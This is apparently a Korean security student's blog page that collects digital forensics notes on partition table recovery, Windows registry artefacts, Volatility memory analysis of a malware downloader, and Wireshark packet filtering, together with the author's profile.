Contact.

Email : duddnr0615k@naver.com

 

Information

경력.

  • 라온화이트햇 핵심연구팀 2023.01.~ing

학력.

  • 광운대학교 정보과학교육원  2017.03. ~ 2021.08.

수상경력.

  • 2023년 TS 보안 허점을 찾아라 공모전 (장려상) 2023.12.
  • 2023 개인정보 위험 대응 공모전 (대상) 2023.09.
  • 차세대 보안리더 양성프로그램(BoB) 11기 (WhiteHat10) 2023.03.
  • 2022년 TS 보안 허점을 찾아라 공모전 (장려상) 2022.12.
  • 입법 및 정책 제안대회 (우수제안상) 2022.12.
  • 개인정보 가명 익명처리 기술경진대회 (장려상) 2022.12.
  • 2022년 쳥년 소비자 이슈 공모전 (장려상) 2022.11.
  • K-shield Jr.보안사고 분석대응 우수 인증생 (과기부장관상) 2021.12.

FAT32 파티션 복구

 

섹터               물리적 디스크 최소 단위, 512byte

클러스터         섹터 그룹 단위 4096byte(512byte * 8)

 

  MBR              512 byte 

  • 부트코드          446byte         부팅에 필요한 코드 정보  
  • 파티션 테이블    64byte           주 파티션 4개에 대한 정보, 각각 파티션은 16byte로 구성
  • 시그니처            2byte            55   AA

80 01 01 00 0B FE 3F F4 3F 00 00 00 C0 3F 3C  (446byte 이후 파티션 테이블)

 

1byte   부트플래그             80          (0x80: 부팅 가능, 0x00 : 부팅 불가능)

3byte   CHS 시작 주소        01 01 00    현재 사용 x

1byte   파일 시스템 타입     0B           (0x0B: FAT32, 0x07: NTFS , 0x05: 확장파티션 ,0xEE : GPT 파티션)

3byte   CHS 끝 주소           FE 3F F4     사용 x

4byte   LBA(VBR) 시작주소  3F 00 00 00      리틀 엔디안 -> 00 00 00 3F = 63 섹터

4byte   총 섹터 개수           C0 3F 3C 00      리틀 엔디안 -> 00 3C 3F  C0 = 3948480개

                                                             512 * 3,948,480 = 2,021,621,760byte 개

 

 

 

 

 

63 섹터 쓸데 없는 값으로 채워져 있다. 여기에 +6 한곳이 백업본이 존재하는 곳이다.

 

69 섹터에 있는 복구값으로 변경해 저장하면 복구된다.

 

복구가 된것을 확인.

                                          

 


다중파티션 복구

파티션 시작부분

 

1. 첫번째 파티션 분석

 

00 04 01 00 07 03 20 32 80 00 00 00 00 90 01 00

 

1byte   부트플래그             00          (0x80: 부팅 가능, 0x00 : 부팅 불가능)

3byte   CHS 시작 주소        04 01 00    현재 사용 x

1byte   파일 시스템 타입     07          (0x0B: FAT32, 0x07: NTFS , 0x05: 확장파티션 ,0xEE : GPT 파티션)

3byte   CHS 끝 주소           03 20 32     사용 x

4byte   LBA(VBR) 시작주소 80 00 00 00    리틀 엔디안 -> 00 00 00 80 = 128 섹터

4byte   총 섹터 개수          00 90 01 00      리틀 엔디안 -> 00 01 90 00 = 102400개

                                                             512 * 102,400 = 52,428,800byte 개

 

2. 두번째 파티션 분석

 00 04 01 32 07 03 20 64 80 90 01 00 00 90 01 00

1byte   부트플래그             00          (0x80: 부팅 가능, 0x00 : 부팅 불가능)

3byte   CHS 시작 주소        04 01 32    현재 사용 x

1byte   파일 시스템 타입     07          (0x0B: FAT32, 0x07: NTFS , 0x05: 확장파티션 ,0xEE : GPT 파티션)

3byte   CHS 끝 주소           03 20 64    사용 x

4byte   LBA(VBR) 시작주소 80 90 01 00    리틀 엔디안 -> 00 01 90 80 = 102,528‬ 섹터

4byte   총 섹터 개수          00 90 01 00      리틀 엔디안 -> 00 01 90 00 = 102,400‬개

                                                             512 * 102,400 = 52,428,800byte 개

 

3. 세번째 파티션 분석

00 04 01 64 07 03 20 96 80 20 03 00 00 90 01 00

1byte   부트플래그             00          (0x80: 부팅 가능, 0x00 : 부팅 불가능)

3byte   CHS 시작 주소        04 01 64    현재 사용 x

1byte   파일 시스템 타입     07          (0x0B: FAT32, 0x07: NTFS , 0x05: 확장파티션 ,0xEE : GPT 파티션)

3byte   CHS 끝 주소           03 20 96    사용 x

4byte   LBA(VBR) 시작주소 80 20 03 00    리틀 엔디안 -> 00 03 20 80 = 204,928‬ 섹터

4byte   총 섹터 개수          00 90 01 00      리틀 엔디안 -> 00 01 90 00 = 102,400‬개

                                                             512 * 102,400 = 52,428,800byte 개

 

4. 네번째 파티션 분석

 00 04 01 96 05 03 60 FE 80 B0 04 00 00 40 0B 00

1byte   부트플래그             00          (0x80: 부팅 가능, 0x00 : 부팅 불가능)

3byte   CHS 시작 주소        04 01 96    현재 사용 x

1byte   파일 시스템 타입     05          (0x0B: FAT32, 0x07: NTFS , 0x05: 확장파티션 ,0xEE : GPT 파티션)

3byte   CHS 끝 주소           03 60 FE    사용 x

4byte   LBA(VBR) 시작주소 80 B0 04 00    리틀 엔디안 ->00 04 B0 80 = 307,328‬‬ 섹터

4byte   총 섹터 개수          00 40 0B 00      리틀 엔디안 -> 00 0B 40 00= 737,280 개

                                                             512 * 737,280 = 377,487,360byte 개

 

 

 

확장파티션 위치 -> 307328 섹터 위치

5. 확장 파티션 분석 1번째

00 08 01 96 07 07 20 C8 80 00 00 00 00 90 01 00

 

1byte   부트플래그             00          (0x80: 부팅 가능, 0x00 : 부팅 불가능)

3byte   CHS 시작 주소        08 01 96    현재 사용 x

1byte   파일 시스템 타입     07          (0x0B: FAT32, 0x07: NTFS , 0x05: 확장파티션 ,0xEE : GPT 파티션)

3byte   CHS 끝 주소           07 20 C8    사용 x

4byte   LBA(VBR) 시작주소 80 00 00 00    리틀 엔디안 ->00 00 00 80 = 128‬‬ 섹터

4byte   총 섹터 개수          00 90 01 00      리틀 엔디안 -> 00 01 90 00= 102,400 개

                                                             512 * 102,400 = 52,428,800‬byte 개

 

네번째 파티션의 위치 = 현재 VBR 위치 + 128 = 307328 + 128 = 307456

 

6. 확장 파티션 분석 2번째

00 08 01 C8 05 0B 60 FC 80 90 01 00 80 A0 09 00

 

1byte   부트플래그             00          (0x80: 부팅 가능, 0x00 : 부팅 불가능)

3byte   CHS 시작 주소        08 01 C8    현재 사용 x

1byte   파일 시스템 타입     05          (0x0B: FAT32, 0x07: NTFS , 0x05: 확장파티션 ,0xEE : GPT 파티션)

3byte   CHS 끝 주소           0B 60 FC    사용 x

4byte   LBA(VBR) 시작주소 80 90 01 00    리틀 엔디안 ->00 01 90 80= 102,528‬‬ 섹터

4byte   총 섹터 개수          80 A0 09 00      리틀 엔디안 -> 00 09 A0 80= 630,912개

                                                             

 다섯번째 파티션 정보의 위치 = 현재 VBR 위치 + 102528 = 307328 + 102528 = 409856

 

7. 다섯번째 파티션

00 0C 01 C8 07 0B 60 FC 80 00 00 00 00 A0 09 00

파티션 부트 플래그(1byte) 00
CHS 시작 주소(3byte) 0C 01 C8 
파일시스템 타입(1byte) 07 NTFS
CHS 끝 주소(3byte) 0B 60 FC
LBA/VBR 시작 주소(4byte) 80 00 00 00 00 00 00 80 -> 128
총섹터 개수(4byte) 80 A0 09 00 00 09 A0 80 -> 630912
용량 512 x 630912 = 323026944

 - 다섯번째 파티션 위치 = 현재 VBR 위치 + 128 = 409856 + 128 = 409984

 


GPT 파티션

 

- 2TB 이상의 파티션을 구성할 경우 사용하는 방식

- GPT 디스크로 부팅할 경우에는 BIOS 방식이 아닌 EFI 방식을 사용해야 한다.

- 이론적으로는 8ZB 까지 가능하지만 , 실제는 18EB로 제한되어 있음

- 파티션 엔트리를 128byte를 사용하며,  최대 128개 파티션 구성할 수 있음

- GPT는 1번 섹터(Primary GPT)에 GPT 헤더(92 byte) 

           2번 섹터(Secondary GPT)에 파티션 정보(각각 128byte)

 

00 FE FF FF EE FE FF FF 01 00 00 00 AF C2 E7 0E

 

00                    부트 플래그

EE                    파일 시스템 유형        0xEE       GPT(EFI 디스크)

01 00 00 00       LBA 시작 주소           리틀 엔디안 -> 00 00 00 01 = 1 섹터

 

 

GPT 헤더 (92byte)

 

Signature(8Byte)

 영역

 내용

 45 46 49 20 50 41 52 54

 'EFI PART' 기록

 

Revision(4Byte) 

 영역

 내용

00 00 01 00

버전 1.0

 

Header 크기(4Byte) 

 영역

 내용

5C 00 00 00

 GPT 헤더 크기(92byte)

 

CRC32 of Header(4Byte) 

 영역

 내용

16 88 44 50

 Header 시작부터 끝에 대한 무결성 체크

 

Reserved(4Byte) 

 영역

 내용

00 00 00 00

 예약된 영역이며 사용하지 않는다.

 

Current LBA(8Byte) 

 영역

 내용

01 00 00 00 00 00 00 00

현재 LBA 주소

 

Backup LBA(8Byte) 

 영역

 내용

AF C2 E7 0E 00 00 00 00

GPT Header 정보를 백업한 Sector 위치

 

First usable LBA for Partition(8Byte) 

 영역

 내용

22 00 00 00 00 00 00 00

파티션 구성을 할 수 있는 영역의 시작 위치

Primary Partition Table Last LBA + 1

 

Last usable LBA for Partition(8Byte) 

 영역

 내용

8E C2 E7 0E 00 00 00 00

파티션 구성을 할 수 있는 영역의 마지막 위치

Secondary Partition Table Last LBA - 1

 

Disk GUID(16Byte)

 영역

 내용

E2 83 B4 33 56 08 73 4E A8 C9 96 BC 37 64 81 69

 장치 UUID 번호

 

Partition Entries Starting LBA(8Byte) 

 영역

 내용

02 00 00 00 00 00 00 00

Partition Entry 시작 위치

각 파티션 정보가 저장되어 있음

 

Number of Partition Entries(4Byte) 

 영역

 내용

80 00 00 00

지원하는 GPT Partition Entry 개수

 

Size of Partition Entry(4Byte) 

 영역

 내용

80 00 00 00

GPT Partition Entry 크기(128Byte)

대부분 128Byte 사용

CRC32 of Partition Array(4Byte) 

 영역

 내용

FC B9 1A E4

파티션 CRC32

 

 

Reserved(420Byte) 

 영역

 내용

 

전부 0

0x25C ~ 0x3FF

사용하지 않는 영역


Secondary GPT Sector(128byte)

Partition Type GUID(16Byte) 

 영역

 내용

28 73 2A C1 1F F8 D2 11 BA 4B 00 A0 C9 3E C9 3B

파티션 타입 고유 번호

파티션 파일 시스템과 OS/서비스 확인 가능

 

Unique Partition GUID(16Byte) 

 영역

 내용

2B 80 26 60 4D AD 05 47 B9 B1 BF 81 BD D2 CA C7

파티션마다 할당하는 고유한 값을 저장

 

First LBA(8Byte) 

 영역

 내용

28 00 00 00 00 00 00 00

파티션 시작 주소

(0x28 = 40)

 

Last LBA(8Byte) 

 영역

 내용

27 40 06 00 00 00 00 00

파티션 마지막 주소

(0x64027 = 409639)

 

Attribute Flags(8Byte) 

 영역

 내용

00 00 00 00 00 00 00 00

파티션 속성을 나타내는 값

 

Partition Name(72Byte) 

 영역

 내용

45 00 46 00 49 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 20 00 50 00 61 00 72 00 74 00 69 00 74 00 69 00 6F 00 6E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x438 ~ 0x47F

파일 시스템 이름

UTF-16 사용

 

 

'디지털 포렌식' 카테고리의 다른 글

윈도우 포렌식  (0) 2019.07.23
침해사고포렌식  (0) 2019.07.18
네트워크 포렌식  (0) 2019.07.15
안티 포렌식  (0) 2019.07.11
디지털 포렌식 개요  (0) 2019.07.11

범위

- 레지스트리 , 웹 브라우저 , $MFT , 휴지통 , 프리패치, 웹 로그 , 쉘백 

- 점프리스트 , 링크파일 ,메모리 파일 ,스케쥴러

- 이벤트로그 , 썸네일, 아이콘 캐시 , 서비스

 

레지스트리
- 운영체제와 응용프로그램 운영에 필요한 정보를 저장하기 위한 계층형 데이터베이스 - 부팅 과정, 로그인, 서비스 실행, 응용프로그램 실행, 사용자 행위와 관련된 모든 것들을 기록하여 관리함 - 이때, 레지스트리 정보는 하이브 파일로 관리한다.

 


레지스트리

- 시스템 정보와 사용자 다양한 정보를 확인할 수 있다. 

- 최근 열람한 문서 파일 목록, 실행 파일 목록, 시스템 정보 등을 확인할 수 있다. 

- 레지스트리 확인 명령어 : Ctrl+R -> ‘regedit’ 명령 실행

 

레지스트리 구성(Root Key 구성)


- HKEY CLASS ROOT : 파일 연관성과 COM 정보

HKEY CURRENT USER : 현재 시스템에 로그인된 사용자 정보 

- HKEY LOCAL MACHINE : 시스템 하드웨어 및 소프트웨어 정보

- HKEY USERS : 모든 사용자 정보

- HKEY CURRENT CONFIG : 시스템 시작시 사용되는 하드웨어 정보

 

HKEY LOCAL MACHINE은 다음 경로에 다시 하위 하이브 파일로 구성된다.
    C:\Windows\System32\config

SAM 파일 : 로컬 계정 정보와 그룹 정보

SECURITY : 시스템 보안 정책과 권한 할당 정보

SOFTWARE : 시스템 부팅에 필요 없는 시스템 전역 구성 정보

SYSTEM : 시스템 부팅에 필요한 전역 구성 정보

 

C:\Windows\System32\config\systemprofile

C:\Windows\ServiceProfiles\LocalService

C:\Windows\ServiceProfiles\NetworkService

//win10에서는 이 경로.

 

ntuser.dat 파일 : 사용자 프로파일 정보

 

위의 5개의 파일은 실제 분석시 필요한 레지스트리의 하이브 파일이다.


5개 하이브파일 위치.

 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist

시스템 정보

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

 

설치된 프로그램 정보
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

- 설치된 프로그램 이름, 버전, 게시자, 설치 날짜/시간, 설치 경로 확인 가능

컴퓨터 이름

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName

- 컴퓨터 이름 확인 가능

 

SID 정보

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList 

- 계정에 대한 보안 식별자(권한 관련 정보를 담고 있는 ID) 정보 확인 가능

사용자 계정 기본 폴더

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

 

마지막 로그인한 사용자 정보

- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

 

시스템 마지막 종료 시간

- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Windows

 

표준 시간대

- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation

 

이벤트 로그 정보

- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\eventlog

 

응용 프로그램 사용 흔적

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist

- {CE ~ : 실행시킨 응용프로그램 정보 - {F4 ~ : 시작 메뉴에 저장되어 있으며, 실행시킨 응용프로그램 정보

 

그림판으로 열어본 파일 흔적

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Paint \Recent File List 

- File번호 : 번호가 낮을 수록 최근에 열어본 파일

 


워드패드로 열어본 파일 흔적

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Wordpad \Recent File List

- File번호 : 번호가 낮을 수록 최근에 열어본 파일

 

 

MS 오피스 사용 흔적

- HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\File MRU 

- HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\File MRU

- HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\File MRU

 

한글 사용 흔적

- HKEY_CURRENT_USER\Software\HNC\Hwp\8.0\HwpFrame\RecentFile

곰플레이어 사용 흔적

- HKEY_CURRENT_USER\Software\GRETECH\GomPlayer\OPTION - 마지막 접근 폴더 및 파일 정보 확인 가능

PDF(Adobe) 사용 흔적

- HKEY_CURRENT_USER\Software\Adobe\Acrobat Reader\11.0\AVGeneral\cRecentFiles

 

 

 

검색기를 이용한 키워드 사용 흔적

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer \WordWheelQuery


최근 열어본 파일 흔적

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs


최근 실행창에 실행/검색한 명령 흔적

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU


저장 매체 연결 흔적

- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USBSTOR - C:\Windows\inf\setupapi.dev.log
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses
- HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices

 

외부시스템 연결 정보 (원격데스트탑 ‘mstsc’를 이용하여 접속할 경우 정보 저장)


- HKEY_USERS\S-1-5-21-2128383417-2113153026-2455313902-500\Software\Microsoft \Terminal Server Client\Default


사용한 프로그램의 창 제목

- HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft \Windows\Shell\MuiCache

 

알림 영역 아이콘

- HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft \Windows\CurrentVersion\TrayNotify

 

작업표시줄 고정 리스트 정보

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband

 

탐색기 주소 창에 입력한 경로 리스트

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths

 

최근 읽기 또는 저장한 파일 흔적

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer \ComDlg32\OpenSavePidlMRU

 

최근에 접근한 폴더 흔적

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer \ComDlg32\LastVisitedPidlMRU

 

서비스 및 드라이버 목록

- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services

 

네트워크 카드 관련 정보

- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards

 

네트워크 정보 관련

- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces

 

무선랜 관련 정보

- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList \Profiles

 

IE 다운로드 디렉토리 및 설정 정보

- HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer - HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main

 

타이핑한 URL 목록

- HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs

 

즐겨찾기 목록

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder \Favorites\Links

 

응용프로그램 호환성 캐시 (호환성 문제가 발생했던 응용 프로그램 정보 저장)

- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager \AppCompatCache

 

부팅시 자동 실행되는 소프트웨어 정보

- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon \shell
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

- HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion \Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 

- C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs \Startup


명령 프롬프트 실행시 자동으로 시작되는 소프트웨어 정보

- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor

 

레지스트리 편집기에서 마지막으로 접근한 키에 대한 정보

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit

 


REGA

 

이렇게 일일이 찾는건 매우 귀찮은 일이다. 따라서 도구를 사용하여 쉽게 찾을 수 있다.

REGA_1.5.3 이란 프로그램이다.

분석을하기위해선 하이브파일 5개가 모두 들어있어야 한다.
간단하게 키워드 검색을 통해 원하는 것을 찾을 수 있다.

 


프로파일 및 파일 다운로드 분석

 

실습.

- 사용 도구 : AccessData FTK Imager, BEncode Editor, NTFS Log Tracker
 - 분석 파일 : Download
 - 코리아 고객사는 회사 내규로 토렌트 사용을 금지하고 있으며, 사용시 진급 누락 또는 퇴사 조항이 있는 상태이다.
 - 코리아 고객사로 파견 나간 김대리는 이 사실을 모르고 토렌트를 통해서 불법 다운로드를 실시하였다. 
 - 코리아 담당자가 이 사실을 알고, 김대리에게 회사 내규를 알려주며 추궁하자 김대리는 토렌토에 '토'도 모른다고 한다.
 - 김대리가 토렌트를 사용한 흔적이 있는지를 분석하도록 한다.

 

[힌트] 토렌트 프로그램은 'setting.dat' 파일에 토렌트 기본 설정과 배포를 위한 시드 파일 정보를 관리한다.

 

1. AccessData FTK Imager을 통해 디스크 이미지파일 을 실행

 

2.  setting.dat 찾은 후 , 파일을 추출.

3. BEncode Editor를 통해 setting.dat를 연다.

저 위치에 토렌트에 관련된 파일이있다.

 

4. 직접 저 경로로 들어가 파일을 찾은 후 , 추출

5. root에있는 Log file과 MFT파일을 추출

 

6. 추출한 파일을 NTFS Log Tracket을 통해 엑셀파일로 추출

logfile이다.

7. 이곳에서 아까 추출한 052b585f1808716e1d12eb55aa646fc4984bc862 이이름을 검색하여 있는지 확인

증거 확인.


실습 2 

 - 사용 도구 : IE10Analyzer
 - 분석 파일 : WebCacheV24.dat
 - 김대리는 저번 사건에 의해서 진급이 누락되었다. 
 - 짜증났던 김대리는 경쟁 업체로 이직을 계획하며, 코리아 고객사 기밀 정보를 경쟁 업체에게 제공하기로 마음을 먹었다.
 - 그래서 김대리는 경쟁 업체 사이트를 통해서 코리아 고객사 기밀 정보를 유출하고, 회사를 퇴사하였다.
 - 퇴사 날짜 : 2012-08-30 18:00
 - 뒤늦게 코리아 고객사 기밀 정보가 유출된 사실을 알게된 본사 담당자가 김대리를 추궁하자 또 그런적이 없다고 한다. 
 - 김대리가 가장 많이 접속한 사이트의 URL과 해당 사이트에 마지막으로 접근한 시간 정보를 이용하여 기밀 정보를 유출한 증거를 찾을 예정이다.

 

 

1. \Users\7ester\AppData\Local\Microsoft\Windows\WebCache 에서 WebCacheV24.dat를 IE10Analyzer통해 실행

win10은 -> 위치 C:\Users\gb\AppData\Local\Microsoft\Windows\WebCache

 

가장 많이 접속한 url을 확인

저 사이트에서 유출한 것으로 알 수 있다.

'디지털 포렌식' 카테고리의 다른 글

파일시스템 포렌식  (0) 2019.07.29
침해사고포렌식  (0) 2019.07.18
네트워크 포렌식  (0) 2019.07.15
안티 포렌식  (0) 2019.07.11
디지털 포렌식 개요  (0) 2019.07.11

메모리 분석

 

1. 메모리 덤프

AccessData FTK Imager 을 통해 메모리 덤프를 만든다.

 

 

 

volatility

 

distorm3-3.3.0.win32

PIL-1.1.7.win32-py2.7.exe

pycrypto-2.6.win32-py2.7.exe 

위의 exe를 다 설치

 

 

 

vol.py -h   //도움말

1. 프로파일 확인(Win7SP1x64)

-플러그인 : imageinfo

vol.py -f memdump.vmem imageinfo   //메모리 정보보기.

 

 

vol.py -f memdump.vmem imageinfo >> imageinfo.txt //파일로 저장.

 

2. 프로세스 확인.

-플러그인 : pstee , psscan , pslist

 

3개중  pstree , psscan 만 돌려도 상관 없음.   psscan은 루트킷도 발견가능

 

vol.py -f memdump.vmem --profile=Win7SP1x64 pstree >> pstree.txt  

.은 자식정보이다.
SkypeC2AutoUpd는 악성코드를 다운시키는 다운로더이다.

 

 

vol.py -f memdump.vmem --profile=Win7SP1x64 pslist >> pslist.txt

 

vol.py -f memdump.vmem --profile=Win7SP1x64 psscan >> psscan.txt 

Offset이 나와있다.
여기에도 역시 SkypeC2AutoUpd가 있다.

 

 

3. 네트워크 확인

- 플러그인 : netscan

 

vol.py -f memdump.vmem --profile=Win7SP1x64 pstree netscan >> netscan.txt

SkypeC2AutoUpd가 현재 연결되 있는것을 확인

4. 사용한 명령어 확인

- 플러그인 : cmdscan

 

vol.py -f memdump.vmem --profile=Win7SP1x64  cmdscan >> cmdscan.txt

명령어를 친 것이 없기 때문에 나오지 않는다.

5. IE 확인

- 플러그인 : iehistory

vol.py -f memdump.vmem --profile=Win7SP1x64  iehistory >> iehistory.txt

인터넷 등 캐시에 저장된 내용을 확인하는 명령어

 

6. MFT 파서 확인

MFT : 실제 가지고 있는 정보에 메타데이터(수정 삭제, 접근 시간 등을 의미, 속성정보)

- 플러그인 : mftparser

vol.py -f memdump.vmem --profile=Win7SP1x64  mftparser >> mftparser.txt

 

$STANDARD_INFORMATION

//파일의 생성, 수정시간

//파일을 수정하게 되면 수정 시간이 변한다.

 

$FILE_NAME   

//파일의 생성 , 수정 시간, 파일 이름과 확장자의 정보가 있다.

// 생성시간을 수정 해도 바뀌지 않는다.

 

$DATA

//700바이트 보다 작은 데이터들이 들어간다.

 

 

 

 

 

 

7. 특정 프로세스에 대한 메모리 덤프

- SkypeC2AutoUpd 프로세스 ID : 1364    //pstree를 통해 확인

 

vol.py -f memdump.vmem --profile=Win7SP1x64  memdump -p 1364 -D ./

 

 

strings을 사용해  텍스트 파일로 저장 시켜 연다.

strings 1364.dmp >> 1364.txt

 

악성코드를 분석한다.

 

Temp 폴더 안에 SkypeC2Auto를 이용해 다운 받은 파일들이 저장되게 된다.
teamviewer 나 avicap32.dll 등 다운 된것을 확인.

8. 파일 검색 및 복구

 

-'png' 파일 검색

vol.py -f memdump.vmem --profile=Win7SP1x64  filescan | findstr "png" >> png.txt

-'png' 파일 복구

vol.py -f memdump.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007d40f400 -D ./      //offset주소

file.None.0xfffffa8004260240.dat 로 나오는데 png로 변환해서 열면 된다.

복원을 해도, 날짜가 복원한 날짜로 나오므로, 증거자료로 쓰기에는 조금 부적절하다.

 

8. 'SkypeC2AutoUpd' 파일추출

-'SkypeC2AutoUpd' 파일 검색

 

vol.py -f memdump.vmem --profile=Win7SP1x64 filescan | findstr "SkypeC2AutoUpd" >> SkypeC2AutoUpd.txt

 

offset주소를 통해 추출

-'SkypeC2AutoUpd' 파일 추출

vol.py -f memdump.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007dbb69b0  -D ./

 

확장자를 .exe로 변경

 

virustotal 사이트를 통해 바이러스 인지 확인.

 

2군데에서 바이러스라고 판단함.

PE파일 이란?  windows에서 실행하는 파일들을 의미한다.

 

PEview를 통해 img 파일을 연다.

SECTION.rdata -> IMPORT Directory Table에서 사용중인 dll파일을 알아낸다.

 

 

PeStudio842.exe 을 통해 img파일 연다.

Indicators

1등급으로 위험한 내용들이 많다고 알려준다.

Sections

위험한 API임을 알려주는 Blacklisted

Imported Libraries

WS2_32.dll

iphlpapi.dll

COMCTL32.dll

AVICAP2.dll

MSVFW32.dll

WINMM.dll

KERNEL32.dll

USER32.dll

GDI32.dll

ADVAPI32.dll

SHELL32.dll

들이 위험하다는 것을 알려줌

 

WS2_32.dll

iphlpapi.dll

COMCTL32.dll

AVICAP2.dll

MSVFW32.dll

WINMM.dll

KERNEL32.dll

USER32.dll

GDI32.dll

ADVAPI32.dll

SHELL32.dll

 

\AppData\Local\Temp\에서 위의 dll 파일과 매칭되는 파일을 찾는다.

많이 보이는애도 찾는다.

 

AVICAP32.dll tv_x64.exe tv_x64.dll 이 가장 많이 보인다. 이들을 각각 파일 검색한다.

 

AVICAP32.dll

vol.py -f memdump.vmem --profile=Win7SP1x64  filescan | findstr "avicap32.dll" >> AVICAP32.dll.txt

 

tv_x64.exe

vol.py -f memdump.vmem --profile=Win7SP1x64  filescan | findstr "tv_x64.exe" >> tv_x64.exe.txt

tv_x64.dll

vol.py -f memdump.vmem --profile=Win7SP1x64  filescan | findstr "tv_x64.dll" >> tv_x64.dll.txt

 

위의 offset 번호를 통해 복구한후 , virustotal로 확인.

tv_x64.dll     //바이러스 x

vol.py -f memdump.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007d8b4c90  -D ./

tv_x64.exe   ////바이러스 x

vol.py -f memdump.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007e379340  -D ./

AVICAP32.dll  //temp 파일에 있는 offset을 가져옴.  //바이러스o

vol.py -f memdump.vmem --profile=Win7SP1x64 dumpfiles -Q 0x00000000059f8bd0   -D ./

 


윈도우 서버분석

 

1.OTL by OldTimer를 통해 

Processes Modules

Services Drivers

Standard Registry

Extra Registry

을 2000일 동안 분석.

2.추출하면 메모장으로 뜬다. 거기서 mtsfocom.exe을 검색

 

3.FTK Imager 실행

 

4.add 를 통해  위의 windows7.vmdk 을 추가 한다. (img file을 통해 출력)

 

5.root -> $LogFile $MFT 를 export file을 통해 추출

 

6.NTFS Log Tracket 는 위의 로그파일을 읽을 수 있게 해준다.

입력한 후 Parsing을 클릭

7.db저장

db이름 아무렇게나 하구 확인

8. 저장한 것을 엑셀파일로 변환.

CSV를 통해 엑셀파일로 변환하여 저장

9.  LogFile.scv에서 mtsfocom.exe 파일을 검색

 

10. mtsfcom.exe 를 디버거로 실행

위의 주소에서 다운이 된것을 확인.

 

 

 

'디지털 포렌식' 카테고리의 다른 글

파일시스템 포렌식  (0) 2019.07.29
윈도우 포렌식  (0) 2019.07.23
네트워크 포렌식  (0) 2019.07.15
안티 포렌식  (0) 2019.07.11
디지털 포렌식 개요  (0) 2019.07.11

wireshark를 통해 패킷분석

 

 

Tcp Flag 

32 16 8 4 2 1

U  A  P R S F         FIN부터 1 2 4 8 16 32 이런식으로 계산

 

tcp.flags == 0x02  -> SYN 패킷

tcp.flags == 0x12 -> SYN ACK패킷       12를   10진수로 변환 18

tcp.flags == 0x10  -> ACK패킷    10을 10진수로 변환 16

 

Mac주소표시

eth.addr 로 필터링해야 된다.

 

아래에 필터링 방법이 적혀있으므로, 외울 필요 없다.

 

 

 

 

NetworkMiner를 사용해서 분석

패킷을 자동으로 분석해준다.

 

TrueCrypt 

파일 내부나 디스크를 암호화하는 프로그램

 

 

VoIP 프로토콜

- 전화 연결/종료에 필요한 메시지를 전송하는 프로토콜

- SIP, SCCP , MGCP, H.323

RTP 프로토콜

- 실시간 패킷/트래픽을 전송할 때 사용하는 프로토콜

- 음성 패킷 전송때 사용

- UDP 포트번호(16374~32767 중에 짝수 번호 예약)

'디지털 포렌식' 카테고리의 다른 글
